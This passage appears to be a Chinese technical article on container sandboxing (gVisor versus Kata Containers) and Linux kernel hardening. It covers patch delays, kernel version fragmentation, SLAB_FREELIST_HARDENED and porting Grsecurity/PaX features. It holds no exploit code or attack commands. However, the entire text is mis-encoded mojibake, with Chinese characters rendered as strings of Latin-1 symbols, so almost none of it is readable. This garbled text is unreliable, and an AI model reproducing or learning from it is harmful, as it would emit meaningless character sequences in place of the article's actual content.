ÔÚÁ½ÕßÖ®¼ä£¬±ÊÕ߸üԸѡÔñgVisor£¬ÒòΪgVisorÉè¼ÆÉϱÈKata Container¸ü¼ÓµÄ¡°ÇᡱÁ¿¼¶£¬µ«gVisorµÄÐÔÄÜÎÊÌâʼÖÕÊÇÒ»µÀÔÝʱÎÞ·¨ÓâÔ½µÄ¡°Ììǵ¡±¡£×ۺ϶þÕßµÄÓÅÁÓ£¬Kata
ContainerĿǰ¸üÊÊºÏÆóÒµÄÚ²¿¡£×ÜÌå¶øÑÔ£¬°²È«ÈÝÆ÷¼¼Êõ»¹Ðè×öÖî¶à̽Ë÷£¬ÒÔ½â¾ö²»Í¬ÆóÒµÄÚ²¿»ù´¡¼Ü¹¹ÉÏÃæÁٵĸ÷ÖÖÌôÕ½¡£
°²È«ÄÚºË
ÖÚËùÖÜÖª£¬AndroidÓÉÓÚÆä¿ªÔ´ÌØÐÔ£¬²»Í¬³§É̶¼Î¬»¤×Å×Ô¼ºµÄAndroid°æ±¾¡£ÒòΪAndroidÄÚºË̬´úÂëÀ´×ÔÓÚLinux
kernel upstrem£¬µ±Ò»¸ö©¶´²úÉúÔÚupstremÄںˣ¬°²È«²¹¶¡ÍÆË͵½Google£¬ÔÙ´ÓGoogleÏ·¢µ½¸÷´ó³§ÉÌ£¬×îÖÕµ½ÖÕ¶ËÓû§¡£ÓÉÓÚAndroidÉú̬µÄË鯬»¯£¬²¹¶¡ÖÜÆÚ·Ç³£Ö®³¤£¬Ê¹µÃÖÕ¶ËÓû§µÄ°²È«£¬ÔÚÕâ¹ý³ÌÖÐʼÖÕ´¦ÓÚ¡°¿Õ´°ÆÚ¡±¡£µ±ÎÒÃǰÑÄ¿¹âÖØÐ½¹¾àÔÚLinuxÉÏ£¬ËüҲͬÑù´æÔÚÀàËÆµÄÎÊÌâ¡£
ÄÚºËÃæÁÙµÄÎÊÌâ

ͼ7 ©¶´ÉúÃüÖÜÆÚ£¨The Vulnerability Life Cycle£©
Äں˲¹¶¡
µ±Ò»¸ö°²È«Â©¶´±»Åû¶£¬Í¨³£ÊÇÓÉ©¶´·¢ÏÖÕßͨ¹ýRedhat¡¢OpenSuse¡¢DebianµÈÉçÇø·´À¡»òÖ±½ÓÌá½»ÖÁÉÏÓÎÏà¹Ø×Óϵͳmaintainer¡£ÔÚÆóÒµÄÚ²¿ÃæÁÙ¶à¸ö²»Í¬ÄÚºË´ó°æ±¾¡¢Äں˶¨ÖÆ»¯£¬Õë¶Ô²»Í¬°æ±¾´ÓÉÏÓδúÂëbackportÏà¹Ø²¹¶¡¼°ÖÆ×÷Ïà¹ØÈȲ¹¶¡£¬¶¨ÖÆÄں˻¹Ðè¶Ô²¹¶¡½øÐжþ´Î¿ª·¢£¬ÔÙÉý¼¶Éú²ú»·¾³Äں˻òHotfixÄںˡ£²»½öÐÞ¸´ÖÜÆÚ¹ý³¤£¬¶øÇÒÔÚÐÞ¸´¹ý³ÌÖУ¬ÈËÔ±¹µÍ¨Ò²´æÔÚÒ»¶¨µÄ³É±¾£¬Ò²À³¤ÁË©¶´Î£ÏÕÆÚ¡£ÔÚΣÏÕÆÚ¼ä£¬ÎÒÃǶÔÓÚ©¶´»ù±¾ÊǺÁÎÞ·À»¤ÄÜÁ¦µÄ¡£
Äں˰汾Ë鯬»¯
Äں˰汾Ë鯬»¯ÔÚÈÎÒâ¾ß±¸Ò»¶¨¹æÄ£µÄ¹«Ë¾¶¼ÊÇÎÞ·¨±ÜÃâµÄÎÊÌâ¡£Ëæ×ż¼ÊõµÄÈÕÐÂÔÂÒ죬²»¶Ïµü´ú£¬»ù´¡¼Ü¹¹Éϵļ¼ÊõÕ»ÐèÒª½Ïа汾µÄÄں˹¦ÄÜÈ¥Ö§³Ö£¬¾Ã¶ø¾ÃÖ®¾Í²úÉúÄں˰汾µÄË鯬»¯¡£Ë鯬»¯ÎÊÌâµÄ´æÔÚ£¬Ê¹µÃÔÚ°²È«²¹¶¡µÄÍÆËÍ·½Ã棬ÔâÓöÁ˺ܴóµÄÌôÕ½¡£±¾Éí²¹¶¡»¹ÐèÒª×öÕë¶ÔÐÔµÄÊÊÅ䣬°üÀ¨²»Í¬°æ±¾µÄÄںˣ¬²¢½øÐвâÊÔÑéÖ¤£¬Ë鯬»¯Ê¹µÃά»¤³É±¾Ò²±äµÃÊ®·Ö¸ß°º¡£×îÖØÒªµÄÊÇ£¬ÓÉÓÚά»¤¹¤×÷Á¿´ó£¬±ØÈ»À³¤Á˲âÊÔ²¹¶¡µÄʱ¼äÏß¡£Ò²¾ÍÊÇ˵£¬±©Â¶ÔÚ¹¥»÷ÕßÃæÇ°µÄΣÏÕÆÚ±äµÃ¸ü³¤£¬±»¹¥»÷µÄ¿ÉÄÜÐÔÒ²´ó´óÔö¼Ó¡£
Äں˰汾¶¨ÖÆ»¯
ͬÑù£¬Òò²»Í¬¹«Ë¾µÄ»ù´¡¼Ü¹¹²»Í¬¡¢ÐèÇó²»Í¬£¬µ¼ÖµĶ¨ÖÆ»¯ÄÚºËÎÊÌâ¡£¶ÔÓÚ¶¨ÖÆ»¯Äںˣ¬ÎÞ·¨¼òµ¥µÄͨ¹ý´ÓÉÏÓÎÄں˺ϲ¢²¹¶¡£¬»¹Ðè¶Ô²¹¶¡×öһЩ±¾µØ»¯À´ÊÊÅ䶍֯»¯Äںˡ£ÕâÓÖÀ³¤ÁËΣÏÕÆÚ¡£
½â¾öÖ®µÀ
ÎÒÃÇʹÓð²È«ÌØÐÔÈ¥Õë¶ÔijһÀà©¶´»òÊÇÕë¶ÔijһÀàÀûÓ÷½Ê½×ö·ÀÓùÓë¼ì²â¡£±ÈÈçSLAB_FREELIST_HARDENED£¬Õë¶ÔDouble
FreeÀàÐÍ©¶´×öʵʱ¼ì²â£¬ÇÒ·ÀÓùoverwrite freelistÁ´±í£¬ÐÔÄÜËðºÄ½ö0.07%£¨²Î¿¼upstremÄÚºËÔ´Â룬commit
id: 2482ddec£©¡£µ±Íê³ÉËùÓÐÈ«²¿µÄ°²È«ÌØÐÔ£¬Â©¶´ÔÚ±»·´À¡Ö®Ç°ºÍ©¶´²¹¶¡±»¼°Ê±ÍÆËÍÖÁÉú²ú»·¾³Ç°£¬¶¼ÎÞÐè¹ØÐÄ©¶´µÄϸ½Ú£¬¾ÍÄÜ·ÀÓù¡£µ±È»£¬°²È«²¹¶¡¸Ã´ò»¹Êǵôò£¬ÕâÀïÎÒÃÇÖ÷Òª½â¾öÔÚ°²È«²¹¶¡×îÖÕÂäÔÚÉú²ú»·¾³¹ý³ÌÖУ¬¡°¿Õ´°ÆÚ¡±¶ÔÓÚ©¶´ÓëÀûÓúÁÎÞ·ÀÓùÄÜÁ¦µÄÎÊÌ⣬ͬʱҲ¿ÉÒÔ¶Ô0dayÓÐÒ»¶¨µÄ¼ì²â¼°·ÀÓùÄÜÁ¦¡£
ʵʩ²ßÂÔ
ÒѾºÏ²¢½øLinuxÖ÷Ïß°æ±¾µÄ°²È«ÌØÐÔ£¬Èç¹û¹«Ë¾µÄÄÚºËÖ§³Ö¸ÃÌØÐÔ£¬Ñ¡Ôñ¿ªÆôÅäÖ㬶ԿªÆôǰºóÄÚºË×öÐÔÄܲâÊÔ£¬·ÖÎö°²È«ÌØÐÔÔÀí¡¢ÐÐÒµÊý¾Ý£¬¸ø³öReal
World¹¥»÷°¸Àý£¨×Ô¼ºÐ´exploitÈ¥Ö¤Ã÷£©£¬½«±¨¸æ½áÂÛ·´À¡¸øÄÚºËÍŶӡ£ÄÚºËÍŶÓÔÙ×öÆÀ¹À£¬½áºÏ°²È«ÍŶÓÓëÄÚºËÍŶÓË«·½Òâ¼û£¬×îÖÕÆÀ¹ÀÂ䵨¡£
ÒѾºÏ²¢½øLinuxÖ÷Ïß°æ±¾µ«Î´±»ºÏ²¢½øRedhatµÄ°²È«ÌØÐÔ£¬¿ÉÑ¡Ôñ´ÓLinuxÄÚºËÖ÷Ïß°æ±¾ÖÐÒÆÖ²£¬ÕâµãÉÏ´úÂëÖÊÁ¿Éϵõ½Á˱£ÕÏ£¬Í¬Ê±ÉçÇøÒ²×öÁËÐÔÄܲâÊÔ£¬½«ÆäºÏ²¢µ½¹«Ë¾µÄÄÚºËÔÙ×ö¸´²â¡£
δ±»ºÏ²¢½øLinuxÄÚºËÖ÷Ïß°æ±¾£¬´ÓGrsecurity/PaXÖÐ×öÒÆÖ²£¬ÔÚGrsecurity/PaXµÄÖî¶à°²È«ÌØÐÔÖУ¬ÆÀ¹ÀÑ¡Ôñ£¬Ñ¡È¡´úÂë¸Ä¶¯Éٵģ¬ÊÕÒæ¸ßµÄ°²È«ÌØÐÔÓÅÏÈÒÆÖ²¡£±ÈÈç¸Ä¶¯½ÏÉÙµÄÄں˴úÂëÓÖÄÜÓÐЧ½â¾öijһÀàµÄ©¶´£¬ÔÙ´ò¸ö±È·½£¬Dirty
CowµÄÈ«Á¿ÐÞ¸´¿ÉÄÜÐèÒª»¨·Ñ1-2ÄêµÄʱ¼ä£¬Èç¹û¼ÓÁËij¸ö°²È«ÌØÐÔ£¬¼´Ê¹Î´ÐÞ¸´Ò²ÄÜ·ÀÓù¡£
Äں˺ó»°
×îºó£¬·ÖÏíһϱÊÕßÑÛÖнÏΪÀíÏëÖеÄ×´¿ö¡£µ±È»£¬ÎÒÃǵøù¾Ýʵ¼ÊÇé¿ö¡°ÒòµØÖÆÒË¡±£¬ÔÚ²»Í¬½×¶Î×ö³ö²»Í¬µÄÈ¡ÉáÓëÑ¡Ôñ¡£
½«ÄÚºËÍŶӿ´³ÉÉçÇø£¬ÎÒÃÇÏòËûÃÇÌá½»´úÂ룬ÈçͬLinuxÄÚºËÉçÇøÓÐRFC(Request for Comment)¡¢Patch
ReviewµÈ£¬ÎÞÕùÒéºóºÏ²¢½ø¹«Ë¾Äںˡ£
ÏÈÌôѡʵÓõİ²È«ÌØÐÔÇÒ´úÂëÁ¿Éٵģ¬È¥ÒÆÖ²£¬È¥ÊµÏÖ£¬²¢Â䵨¡£´úÂëÁ¿ÉÙÒâζ×ŶÔÄں˴úÂë¸Ä¶¯ÉÙ£¬³öÎÊÌâµÄ¿ÉÄÜÐÔԽС£¬Îȶ¨ÐÔÔ½¸ß£¬ÐÔÄÜËðºÄÔ½µÍ¡£
Ò»ÄêÍê³É¼¸¸ö°²È«ÌØÐÔ£¬²»ÐèÒª¶à£¬1¡«2¸ö¼´¿É£¬¶ÔÓÚÄÚºË̬µÄ¼Ó¹Ì£¬É÷ÖØÉ÷ÖØÔÙÉ÷ÖØ£¬Æ©Èç¹úÍâG¼Ò¹«Ë¾Êý¾ÝÖÐÐĵÄÄں˷¢°æÇ°´ó¸ÅÐèÒª6¡«7¸öÔÂʱ¼ä×öÐÔÄÜ¡¢Îȶ¨ÐÔ²âÊÔ¡£
ÐèÒª×öµ½¼Ó¹Ìij¸ö°²È«ÌØÐÔºó£¬Ê¹ÓÃ0day»òNdayÈ¥ÑéÖ¤·ÀÓùЧ¹û£¬ÇÒ»ùÓÚ¸ÃÄÚºËÅÜÒµÎñÊÇÎȶ¨£¬ÐÔÄÜËðºÄÔڿɽÓÊÜ·¶Î§Ö®ÄÚ»òÕ߿ɿء£Ã¿¸ö°²È«ÌØÐÔÐèÒª¼¼ÊõÆÀÉó¡£Îª±£ÕÏ´úÂëÖÊÁ¿µÄÎÊÌ⣬ÕÒʵ¼ÊµÄ¸ßÍÌÍÂÒÔ¼°¸ß²¢·¢µÍÑӳٵķþÎñÆ÷С·¶Î§»Ò¶È²âÊÔ£¬ÎÞÕùÒéºó£¬ÔÙÍÆË͸øÄÚºËÍŶӡ£
×îºó£¬ÎÒÃÇ»¹¿ÉÒÔͨ¹ý½«°²È«ÌØÐԵĴúÂëÖ±½ÓÌá½»¸øLinuxÄÚºËÉçÇø£¬Èç¹û´úÂëÓв»×ãµÄµØ·½Ò²¿ÉÒÔºÍÉçÇøÐͬ½â¾ö£¬ºÏ²¢½øLinuxÄÚºËÖ÷Ïß´úÂ룬´Ó¶ø²àÃæÍÆ¶¯Â䵨¡£ |